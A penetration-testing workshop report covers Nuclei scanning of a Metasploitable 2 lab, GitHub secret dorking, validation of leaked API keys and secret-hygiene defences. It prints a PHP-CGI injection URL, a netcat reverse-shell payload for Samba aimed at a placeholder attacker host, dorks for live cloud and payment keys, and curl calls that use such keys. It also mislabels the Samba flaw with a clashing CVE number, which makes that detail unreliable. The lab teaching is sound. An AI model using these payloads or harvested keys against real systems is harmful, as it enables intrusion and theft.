Session 06 / 14 BugXploit Workshop

Day 6: Automated Vulnerability Scanning with Nuclei & GitHub Reconnaissance / Secret Hunting

Report By: TheWH2 Instructors: Birendra Sah Bishal Shrestha Institute: BugXploit (Koteshwor) Read Time: ~18 mins

Security Notice & Lab Scope

This technical report documents official training conducted during Day 6 of the Ethical Hacking and Penetration Testing Workshop at BugXploit (Koteshwor, Kathmandu). All automated scans utilizing ProjectDiscovery's Nuclei scanner and manual service verifications were executed inside an isolated, private virtual host-only lab environment targeting Metasploitable 2 (192.168.1.146). Furthermore, all GitHub reconnaissance, secret scanning, and API key validation methodologies are described strictly for authorized defensive audits, bug bounty programs operating under explicit safe-harbor guidelines, and proactive source-code protection.

1. The Shift to Automation: Manual vs. Automated Scanning

Throughout Days 1 through 5 of the BugXploit workshop, every phase of penetration testing was conducted manually: discovering live hosts with ARP and Nmap, crafting targeted netcat queries against daemon banners, intercepting raw HTTP streams with Burp Suite Proxy, manually configuring Intruder payload markers, and injecting precision payloads for SQL injection, Command Injection, and Cross-Site Scripting (XSS).

While manual testing gives a penetration tester an unmatched understanding of protocol semantics and application logic, modern enterprise perimeters and cloud-native applications contain thousands of microservices, third-party libraries, and disparate network daemons. Manually checking every known vulnerability against every open port is operationally impossible.

Automated vulnerability scanners bridge this gap by rapidly querying target infrastructure against large, community-curated template repositories. On Day 6, the workshop shifted gears from purely manual exploitation to industrial-grade automation using Nuclei by ProjectDiscovery, paired with modern GitHub Reconnaissance and Secret Hunting.

Approach Strengths Limitations
Manual Testing
Days 1 - 5
Deep logical flaws (IDOR, multi-step business logic bypass, complex race conditions), zero false positives when validated, stealthy and customized traffic patterns. Extremely time-consuming, difficult to scale across broad IP ranges or thousands of endpoints, subject to human oversight on obscure CVEs.
Automated Scanning
Day 6 (Nuclei)
Unmatched speed and coverage (executes 10,000+ templates in minutes), standardized regression testing, instant detection of known CVEs, outdated versions, and default credentials. Generates noise on networks, cannot understand intricate multistage business logic without custom state machines, potential for false positives or denial-of-service on fragile legacy daemons.

2. ProjectDiscovery Nuclei Architecture & Upgrades

Nuclei is a fast, template-driven vulnerability scanner written in Go by ProjectDiscovery. Unlike heavyweight legacy scanners that rely on rigid, closed-source engines, Nuclei is completely modular:

  • YAML-Based Templates: Every test (HTTP, TCP, DNS, SSL, Websocket, Whois, Javascript, Headless browser) is defined in a human-readable YAML document specifying request parameters, matchers, extractors, and payload conditions.
  • Protocol Clustering: Nuclei analyzes loaded templates and clusters identical requests together. If 50 different templates target /dvwa/login.php, Nuclei groups them into a single HTTP connection, drastically reducing network overhead and preventing target server exhaustion.
  • Out-of-Band (OAST) Integration: Native integration with Interactsh (e.g., oast.online) allows Nuclei to detect Blind RCE, Blind SSRF, and DNS exfiltration without exposing the tester's external IP address.

Prior to initiating any automated assessment in Kali Linux, both the Nuclei binary and its community template library must be brought to the latest upstream release to ensure detection of newly disclosed zero-days and signature improvements.

kali@kali: ~ (Updating Nuclei)
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt install --only-upgrade nuclei
[sudo] password for kali: *******
Hit:1 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
nuclei is already the newest version.


┌──(kali㉿kali)-[~]
└─$ nuclei -update-templates
[INF] Successfully updated nuclei-templates to v10.4.8 (+112 new templates added)

3. Authenticated Scanning: Passing Session Cookies & Headers

Unauthenticated vulnerability scanners only inspect public landing pages (such as login.php or the web server default page). Vulnerabilities residing behind login portals—such as internal administration dashboards, command injection forms, file uploaders, or SQL injection vectors—remain invisible unless the scanner is supplied with a valid session state.

In DVWA, users must authenticate with admin:password and maintain an active PHP session. Furthermore, DVWA maintains an internal security state cookie (security=low). To scan the application from the perspective of an authenticated, low-privilege user, we pass the custom session cookie directly into Nuclei using the -H (Header) flag and record all output to dvwa_results.txt.

kali@kali: ~ (Nuclei Authenticated Command)
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://192.168.1.146/dvwa/ -H "Cookie: PHPSESSID=40adc2b5fdf26e8ed977f4006c3b2d3a; security=low" -o dvwa_results.txt
Flag Breakdown:
  • -u <target>: Defines the target URL or network address. When a full URL path like /dvwa/ is given, Nuclei targets the web root while also inspecting standard host network ports.
  • -H "Header: Value": Injects custom HTTP request headers on every HTTP-based template. By supplying both PHPSESSID and security=low, Nuclei scans DVWA in its authenticated, vulnerable configuration.
  • -o dvwa_results.txt: Instructs Nuclei to log every finding, match condition, and severity rating into a clean text file for post-assessment reporting.

4. Live Terminal Execution & Scan Output Breakdown

Upon launching the scan, Nuclei loaded 10,730 templates, executed intelligent clustering (collapsing 2,336 duplicate requests), engaged its Interactsh engine, and completed the scan in approximately 3 minutes, returning 69 actionable vulnerability matches across HTTP, TCP, and Javascript protocols:

Nuclei Execution Stream: Metasploitable 2 (192.168.1.146)
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://192.168.1.146/dvwa/ -H "Cookie: PHPSESSID=40adc2b5fdf26e8ed977f4006c3b2d3a; security=low" -o dvwa_results.txt

__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.11.1

projectdiscovery.io

[INF] Current nuclei version: v3.11.1 (outdated)
[INF] Current nuclei-templates version: v10.4.8 (latest)
[INF] New templates added in latest release: 112
[INF] Templates loaded for current scan: 10730
[INF] Executing 10730 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 2468 (Reduced 2336 Requests)
[INF] Using Interactsh Server: oast.online
[CVE-2012-1823] [http] [high] http://192.168.1.146/dvwa/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
[phpinfo-files] [http] [low] http://192.168.1.146/dvwa//phpinfo.php [paths="/phpinfo.php"]
[apache-mod-negotiation-listing:exposed_files] [http] [low] http://192.168.1.146/dvwa/login ["login.php"] [path="/login"]
[apache-mod-negotiation-listing:exposed_files] [http] [low] http://192.168.1.146/dvwa/index ["index.php"] [path="/index"]
[waf-detect:apachegeneric] [http] [info] http://192.168.1.146/dvwa/
[ssh-auth-methods] [javascript] [info] 192.168.1.146:22 ["["publickey","password"]"]
[mysql-info] [javascript] [info] 192.168.1.146:3306 ["Transport: tcp","Version: 5.0.51a-3ubuntu5"]
[rlogin-detect] [javascript] [info] 192.168.1.146:513
[vnc-default-login] [javascript] [high] 192.168.1.146:5900 [FQDN="192.168.1.146",Host="192.168.1.146",Hostname="192.168.1.146:5900",Port="5900",passwords="password123"]
[samba-detect] [javascript] [info] 192.168.1.146:445 ["Samba 3.0.20-Debian"]
[CVE-2026-4480:version] [javascript] [critical] 192.168.1.146:445 ["3.0.20"]
[vnc-default-login] [javascript] [high] 192.168.1.146:5900 [FQDN="192.168.1.146",Host="192.168.1.146",Hostname="192.168.1.146:5900",Port="5900",passwords="password"]
[postgres-default-logins] [javascript] [high] 192.168.1.146:5432 [passwords="postgres",usernames="postgres"]
[pgsql-default-db] [javascript] [high] 192.168.1.146:5432 [database="postgres",password="postgres",usernames="postgres"]
[pgsql-default-db] [javascript] [high] 192.168.1.146:5432 [database="template1",password="postgres",usernames="postgres"]
[pgsql-default-db] [javascript] [high] 192.168.1.146:5432 [database="postgres",password="",usernames="postgres"]
[ntlm-info] [javascript] [info] 192.168.1.146:445 ["NTLM: Samba 3.0.20-Debian"]
[smb-v1-supported] [javascript] [info] 192.168.1.146:445
[smb-version-detect:smb-version] [javascript] [info] 192.168.1.146:445 ["SMB 1.0"]
[ssh-diffie-hellman-logjam] [javascript] [low] 192.168.1.146:22
[ssh-password-auth] [javascript] [info] 192.168.1.146:22
[ssh-server-enumeration] [javascript] [info] 192.168.1.146:22 ["SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1"]
[ssh-sha1-hmac-algo] [javascript] [info] 192.168.1.146:22
[ajp-protocol-detect] [javascript] [info] 192.168.1.146:8009 ["AJP Detected"]
[pgsql-default-db] [javascript] [high] 192.168.1.146:5432 [database="template1",password="",usernames="postgres"]
[pgsql-empty-password] [javascript] [critical] 192.168.1.146:5432
[ssh-cbc-mode-ciphers] [javascript] [low] 192.168.1.146:22
[ssh-weak-algo-supported] [javascript] [medium] 192.168.1.146:22
[ssh-weak-mac-algo] [javascript] [low] 192.168.1.146:22
[ssh-weakkey-exchange-algo] [javascript] [low] 192.168.1.146:22
[netbios-udp-detect] [javascript] [info] 192.168.1.146:137 ["NetBIOS Name Service Detected"]
[rpc-udp-detect] [javascript] [info] 192.168.1.146:111 ["RPC Portmapper UDP Detected"]
[CVE-2004-2687] [tcp] [high] 192.168.1.146:3632
[CVE-2015-1419:version] [tcp] [medium] 192.168.1.146:21 ["2.3.4"]
[CVE-2021-30047:version] [tcp] [high] 192.168.1.146:21 ["2.3.4"]
[ftp-anonymous-login] [tcp] [medium] 192.168.1.146:21
[esmtp-detect] [tcp] [info] 192.168.1.146:25
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="password",username="ftp"]
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="toor",username="ftp"]
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="nas",username="ftp"]
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="pass1",username="ftp"]
[ftp-detect] [tcp] [info] 192.168.1.146:21
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="default",username="ftp"]
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="123456",username="ftp"]
[nfs-v3-exposed] [tcp] [info] 192.168.1.146:2049
[openssh-detect] [tcp] [info] 192.168.1.146:22 ["SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1"]
[smtp-detect] [tcp] [info] 192.168.1.146:25
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="guest",username="ftp"]
[vnc-service-detect] [tcp] [info] 192.168.1.146:5900 ["RFB 003.003"]
[smtp-commands-enum:ehlo] [tcp] [info] 192.168.1.146:25 ["ETRN","STARTTLS","ENHANCEDSTATUSCODES","8BITMIME","DSN","PIPELINING","SIZE 10240000","VRFY"]
[ftp-weak-credentials] [tcp] [high] 192.168.1.146:21 [password="stingray",username="ftp"]
[vsftpd-detect:version] [tcp] [info] 192.168.1.146:21 ["2.3.4"]
[fingerprinthub-web-fingerprints:dvwa] [http] [info] http://192.168.1.146/dvwa/login.php
[tech-detect:php] [http] [info] http://192.168.1.146/dvwa/login.php
[apache-httpd-eol:version] [http] [info] http://192.168.1.146/dvwa/ ["2.2.8"]
[php-eol:version] [http] [info] http://192.168.1.146/dvwa/ ["5.2.4"]
[tech-detect:php] [http] [info] http://192.168.1.146/dvwa/
[robots-txt] [http] [info] http://192.168.1.146/dvwa/robots.txt
[http-missing-security-headers:x-frame-options] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:x-content-type-options] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:referrer-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:strict-transport-security] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:content-security-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:permissions-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://192.168.1.146/dvwa/login.php
[INF] Scan completed in 3m. 69 matches found.
[INF] HTTP connections: 13621 total, 1379 new, 12242 reused (89.9%)

5. In-Depth CVE Analysis: PHP-CGI, Samba & DistCC

A critical skill taught in BugXploit's workshop is translating raw scanner output into verified, actionable vulnerability assessments. Scanners output flags, but an ethical hacker must understand the underlying technical mechanics and exploitation vector.

1. CVE-2012-1823: PHP-CGI Query String Remote Code Execution High

Target: http://192.168.1.146/dvwa/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

Root Cause: In PHP configurations running via CGI (or wrapper modes where query strings are passed to the binary without escaping), command-line arguments can be injected via the query string. By passing -d allow_url_include=on and -d auto_prepend_file=php://input, the attacker reconfigures the PHP runtime in memory on a per-request basis.

Exploit Impact: An attacker can send arbitrary PHP code (e.g., <?php system('id'); ?>) directly in the HTTP POST body. The server treats the input stream as code to be executed before executing index.php, resulting in unauthenticated Remote Code Execution (RCE) with the privileges of the web server (www-data).

2. Samba 3.0.20 & SMBv1 Execution (CVE-2026-4480 / usermap script) Critical

Target: Port 445 (Samba 3.0.20-Debian, SMB 1.0)

Root Cause: Nuclei identified the exact running version of the Samba file sharing daemon. Samba 3.0.20 through 3.0.25rc3 contain a catastrophic vulnerability in the username map script configuration option. When an external script is configured to process usernames, MS-RPC authentication requests that supply shell metacharacters inside the username field are evaluated directly by a system shell.

Exploit Impact: By sending a username payload formatted as nohup /bin/sh -c "nc -e /bin/sh attacker_ip port" &, the system shell invokes the command with full root privileges. This is one of the most reliable remote root vectors on Metasploitable 2.

3. CVE-2004-2687: DistCC Daemon Arbitrary Command Execution High

Target: Port 3632/tcp (distccd)

Root Cause: distcc is a distributed compiler daemon designed to allow software builds across multiple cluster nodes without local compilation overhead. In its legacy implementations, the daemon executed compilation tasks without verifying the authentication or integrity of client instructions.

Exploit Impact: Attackers can craft a raw TCP packet mimicking a compilation job that directs the server to execute arbitrary shell commands (e.g., spawning reverse shells as the daemon user).

6. Default Credentials & Weak Service Auditing (Postgres, VNC, FTP)

Beyond software vulnerabilities, misconfigured credentials and forgotten administrative accounts represent the easiest access vector for threat actors. Nuclei automatically executed dictionary checks and service handshakes against non-HTTP ports:

Critical
PostgreSQL (5432)

Default Accounts & Blank Passwords

  • postgres : postgres
  • postgres : <empty>
  • Access to databases: postgres, template1

Allows arbitrary SQL execution and shell escape via COPY FROM PROGRAM.

High
VNC Remote Desktop (5900)

Trivial Authentication

  • Password: password
  • Password: password123
  • Protocol: RFB 003.003

Allows immediate graphical session hijacking via vncviewer 192.168.1.146.

High
VSFTPD Service (21)

Weak Dictionary & Anonymous Access

  • Anonymous FTP enabled
  • ftp : password, ftp : toor
  • ftp : default, ftp : 123456

Allows unauthorized file uploads and reconnaissance of local directories.

7. Terminal Verification: vsftpd 2.3.4 & Anonymous Access

To prove that automated scanner outputs are accurate and not false positives, we returned to our terminal in Kali Linux and executed a manual TCP connection against port 21 using the native ftp client:

kali@kali: ~ (Manual FTP Verification)
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.1.146:21
Connected to 192.168.1.146.
220 (vsFTPd 2.3.4)
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
200 Switching to Binary mode.
local: 21 remote: 21
229 Entering Extended Passive Mode (|||47597|).
550 Failed to open file.
221 Goodbye.

The banner 220 (vsFTPd 2.3.4) and 230 Login successful verified Nuclei's finding in under five seconds. In Day 2, we learned this exact daemon contains the smiley face backdoor (:)) triggering a root shell on port 6200. Nuclei flagged this daemon with both CVE-2015-1419 (Denial of Service) and CVE-2021-30047.

8. Web Defense Gap: Missing HTTP Security Headers

Nuclei reported 10 critical security headers missing from DVWA's HTTP responses. While developers often overlook response headers, their absence strips modern browsers of their built-in security defenses:

Missing Header Default Vulnerability Without Header Defensive Implementation
X-Frame-Options Application can be framed in an iframe by any malicious third party, enabling Clickjacking attacks. X-Frame-Options: DENY or SAMEORIGIN
Content-Security-Policy (CSP) The browser executes all inline scripts and loads resources from untrusted domains, dramatically increasing the impact of XSS. Content-Security-Policy: default-src 'self'; script-src 'self';
Strict-Transport-Security (HSTS) Connections can be downgraded to plaintext HTTP via SSL Strip or MitM attacks on local Wi-Fi. Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options Browsers perform MIME-sniffing, executing uploaded text/plain images containing JavaScript as executable HTML. X-Content-Type-Options: nosniff
Referrer-Policy Sensitive session tokens, reset tokens, or private IDs present in query strings are leaked to external referrers. Referrer-Policy: strict-origin-when-cross-origin

9. GitHub Reconnaissance & Sensitive Token Dorking

While network and web scanners probe perimeter infrastructure, modern security breaches increasingly originate from source code repositories. Developers routinely commit secrets, database passwords, private encryption keys, and third-party SaaS tokens to public repositories by accident.

GitHub Dorking is the process of using GitHub's specialized search syntax to locate inadvertently committed credentials:

Essential GitHub Reconnaissance Dorks
  • org:target "api_key" — Searches all repositories under the organization's account for hardcoded API keys.
  • org:target filename:.env — Locates environment configuration files containing database connection strings, JWT secrets, and tokens.
  • org:target "password" filename:config.json — Locates configuration files containing hardcoded database credentials.
  • org:target extension:pem "BEGIN RSA PRIVATE KEY" — Searches for exposed SSH and SSL private certificates.
  • org:target "AKIA" — Hunts for Amazon Web Services (AWS) 20-character Access Key IDs.
  • org:target "sk_live_" — Finds exposed live secret keys for Stripe payment gateways.

Finding a secret on GitHub is only the first step. In an ethical penetration test or bug bounty assessment, researchers must prove impact without modifying or corrupting customer data. This is where Keyhacks becomes essential.

10. Deep Dive: streaak/keyhacks & API Key Validation

The open-source repository streaak/keyhacks is an industry-standard playbook maintained by security researcher Streaak. It provides verified, non-destructive API calls to validate whether an exposed credential is valid, determine its scope and permissions, and demonstrate exploitability safely.

Below are key examples of how ethical hackers test leaked API keys using curl commands documented in Keyhacks:

1. Amazon Web Services (AWS Access Key & Secret)
Critical Impact

When an AWS key pair (AKIA...) is discovered in a commit, testers execute the non-destructive Security Token Service (STS) call:

aws sts get-caller-identity --access-key-id <AWS_ACCESS_KEY> --secret-access-key <AWS_SECRET_KEY>

Impact: Reveals the AWS Account ID, User ARN, and whether the key possesses full administrative privileges without spinning up or destroying cloud instances.

2. Stripe Payment Gateway (sk_live_...)
Financial Critical

A leaked live secret key gives access to customer transaction records and balance sheets:

curl https://api.stripe.com/v1/charges -u sk_live_xxxxxxxxxxxxxxxxxxxx:

Impact: Retrieves the list of recent transactions and customers, proving full control over the payment gateway.

3. Twilio Communications (Account SID & Auth Token)
High Impact

Verifies SMS and voice call gateway access:

curl -G https://api.twilio.com/2010-04-01/Accounts/ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/Messages.json \
  -u ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:your_auth_token

Impact: Exposes customer SMS logs, two-factor authentication (2FA) verification codes, and phone call records.

4. Google Maps Platform API Key (AIzaSy...)
Financial Denial of Service

Tests whether the key is unrestricted across premium Google Maps endpoints:

curl -i "https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood&key=AIzaSyxxxxxxxxxxxx"

Impact: Attackers can abuse unrestricted keys to run up thousands of dollars in billing costs via Directions, Geocoding, or Places API endpoints.

5. Slack Bot & Webhook Tokens (xoxb- / xoxp-)
High Impact

Validates corporate chat channel access:

curl -X POST -H 'Authorization: Bearer xoxb-xxxxxxxxxxxx' https://slack.com/api/auth.test

Impact: Verifies access to internal corporate channels, user directories, and sensitive chat histories.

11. Advanced Secret Hunting: iscan.today, Benji Trapp & TruffleHog

During the session, the instructors introduced three specialized tools and repositories that streamline GitHub reconnaissance:

iscan.today

A web-based intelligence and dork aggregator that automates search engine and repository queries. It allows researchers to input a domain or brand name and immediately retrieves matched dorks for finding leaked admin portals, open directories, database dumps, and exposed source code.

Visit Tool
Benji Trapp Dorks

A curated research repository and cheatsheet compiling specialized GitHub dorking queries. It categorizes search strings by specific tech stacks (AWS, Azure, GCP, Docker, Kubernetes secrets, Jenkins credentials, and private keys) to maximize query hit rates while minimizing junk commits.

Read Reference
TruffleHog

The industry gold standard for git repository secret scanning. Built by Truffle Security, TruffleHog inspects full git commit histories using regular expressions and high-entropy calculations, and actively validates findings against live service APIs to eliminate false positives.

View GitHub

How TruffleHog Works

Developers often think that deleting a sensitive file in a subsequent commit fixes a leak:

git rm .env && git commit -m "Removed credentials" && git push

However, git is an immutable version control history. The secret remains permanently readable in past commit snapshots. TruffleHog iterates through every single branch, tag, and commit diff in the repository:

trufflehog github --repo https://github.com/organization/target-repository

When TruffleHog discovers a candidate key, it conducts an out-of-band verification against the service provider (e.g., querying the AWS STS endpoint or Slack API) and displays a green [VERIFIED] badge, instantly confirming whether the credential is still active.

12. Defensive Engineering: Pre-Commit Hooks & Secret Hygiene

Securing source code and protecting modern infrastructure requires shifting security left into the software development life cycle (SDLC):

  1. Pre-Commit Hooks: Implement tools like git-secrets, Gitleaks, or pre-commit hooks locally on developer machines. If a developer attempts to commit code containing an API key pattern (e.g., AKIA... or sk_live_...), the commit is automatically blocked locally before touching git remotes.
  2. CI/CD Secret Scanners: Integrate TruffleHog or GitHub Secret Scanning into GitHub Actions. Any pull request containing hardcoded credentials immediately fails automated builds.
  3. Centralized Secret Management: Never store credentials in flat text or source files. Store runtime configuration in secure vaults such as HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault, injected strictly at runtime via environment variables.
  4. Credential Revocation & Rotation: Treat any key pushed to a public repository as compromised immediately. Rotate the credential, revoke the compromised key pair, and review cloud audit logs (such as AWS CloudTrail) for unauthorized access attempts.

13. Day 6 Summary & Key Takeaways

Core Insights from Day 6

  • Automation Amplifies Human Expertise: Nuclei discovered 69 actionable security findings across HTTP, TCP, and Javascript protocols in under 3 minutes—a task that would have taken hours of manual probing.
  • Authenticated Scanning Unlocks the Attack Surface: Injecting session cookies (PHPSESSID) and security states (security=low) enables scanners to evaluate internal endpoints like command execution and administrative panels.
  • Perimeter Daemons Harbour Lethal Vulnerabilities: Legacy versions of Samba (3.0.20), PHP-CGI (CVE-2012-1823), and DistCC (CVE-2004-2687) yield instant, unauthenticated root/system compromise.
  • Source Code is the New Perimeter: Finding leaked secrets on GitHub via targeted dorking frequently grants access to internal systems without touching a network firewall.
  • Verify Non-Destructively: Using keyhacks and tools like TruffleHog allows ethical researchers to prove vulnerability impact without corrupting data or violating client trust.

14. Curated Pentesting & Secret Hunting Resources

To accelerate security assessments and automated reconnaissance, here is a curated repository list of cutting-edge tools and attack playbooks referenced during our training sessions:

GreyDGL / PentestGPT
AI Penetration Testing

An LLM-empowered penetration testing tool that automates security workflows, targets triage, reasoning parsing, and context-aware exploit generation using large language models.

https://github.com/GreyDGL/PentestGPT
gwen001 / pentest-tools
Exploits & Automation

A widely respected Swiss-army collection of custom standalone scripts and reconnaissance automation utilities crafted for offensive security research and bug bounty hunters.

https://github.com/gwen001/pentest-tools
streaak / keyhacks
Secret Validation

An essential bug bounty playbook containing verified, non-destructive API commands to check validity, identify permissions, and prove the business impact of leaked API credentials.

https://github.com/streaak/keyhacks

The industry-standard web vulnerability interception proxy by PortSwigger featuring raw HTTP/WebSocket proxying, Repeater, Decoder, and manual testing toolsets.

https://portswigger.net/burp/communitydownload https://github.com/xiv3r/Burpsuite-Professional

A completely free and open-source alternative to commercial web proxies, offering automated vulnerability scanning, active and passive analyzers, and REST API integration.

https://www.zaproxy.org/ https://github.com/zaproxy/zaproxy
WARNING: Strictly For Educational & Defensive Purposes Only

All automated vulnerability scans using Nuclei, service audits, and GitHub secret testing methodologies documented in this report were performed strictly within an authorized, isolated local virtual laboratory environment (Metasploitable 2) or against simulated test configurations. Scanning unauthorized targets, harvesting private credentials, or accessing corporate data without explicit written consent is illegal under the Electronic Transactions Act (ETA) of Nepal and international cyber law. TheWH2 and BugXploit promote ethical, responsible offensive security research.